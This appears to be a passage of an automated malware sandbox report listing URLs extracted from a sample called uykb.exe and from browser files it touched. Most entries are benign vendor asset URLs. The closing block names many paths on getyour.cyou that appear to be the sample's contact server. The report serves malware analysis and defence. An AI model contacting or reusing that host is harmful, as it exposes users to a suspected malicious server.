Source: manifest.json.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: e40ef767-dbdc-41cc-831a-f1870bc25ebd.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: chromecache_451.5.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_451.5.dr	String found in binary or memory: https://content.googleapis.com
Source: uykb.exe, 00000000.00000002.2661400975.0000000003315000.00000004.00000020.00020000.00000000.sdmp, uykb.exe, 00000000.00000002.2662769645.00000000038AA000.00000004.00000020.00020000.00000000.sdmp, d2djec.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: uykb.exe, 00000000.00000002.2661400975.0000000003315000.00000004.00000020.00020000.00000000.sdmp, uykb.exe, 00000000.00000002.2662769645.00000000038AA000.00000004.00000020.00020000.00000000.sdmp, d2djec.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json.9.dr	String found in binary or memory: https://docs.google.com/
Source: chromecache_451.5.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive.google.com/
Source: uykb.exe, 00000000.00000002.2661823660.00000000035FC000.00000004.00000020.00020000.00000000.sdmp, uykb.exe, 00000000.00000002.2661400975.0000000003364000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, 2djekn.0.dr, l6xtrq.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: uykb.exe, 00000000.00000002.2661823660.00000000035FC000.00000004.00000020.00020000.00000000.sdmp, uykb.exe, 00000000.00000002.2661400975.0000000003364000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, 2djekn.0.dr, l6xtrq.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: uykb.exe, 00000000.00000002.2661823660.00000000035FC000.00000004.00000020.00020000.00000000.sdmp, uykb.exe, 00000000.00000002.2661400975.0000000003364000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, 2djekn.0.dr, l6xtrq.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log3.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log3.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log3.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log2.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.9.dr, aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.9.dr, aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: HubApps Icons.9.dr, aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.9.dr, aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log3.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: HubApps Icons.9.dr, aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.9.dr, aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.9.dr, aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.9.dr, aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log3.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_447.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_447.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_447.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_447.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://gaana.com/
Source: uykb.exe, 00000000.00000003.2175258608.00000000006E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyou
Source: uykb.exe, 00000000.00000003.2175258608.00000000006E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyou/
Source: uykb.exe, 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyou/$
Source: uykb.exe, 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyou/=
Source: uykb.exe, 00000000.00000003.2148500114.00000000006E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyou/D
Source: uykb.exe, 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyou/N#
Source: uykb.exe, 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp, uykb.exe, 00000000.00000002.2660773016.00000000006D0000.00000004.00000020.00020000.00000000.sdmp, uykb.exe, 00000000.00000003.2148500114.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, uykb.exe, 00000000.00000003.2175258608.00000000006E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyou/R
Source: uykb.exe, 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyou/g
Source: uykb.exe, 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyou/ge
Source: uykb.exe, 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyou/ge/
Source: uykb.exe, 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyou/geeodpfagjceefieflmdfphplkenlfk
Source: uykb.exe, 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyou/i
Source: uykb.exe, 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp, uykb.exe, 00000000.00000003.2148500114.00000000006E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyou/o
Source: uykb.exe, 00000000.00000003.2219437154.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyou/wbi5
Source: uykb.exe, 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyou0
Source: uykb.exe, 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyou4
Source: uykb.exe, 00000000.00000003.2148500114.00000000006E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyoud
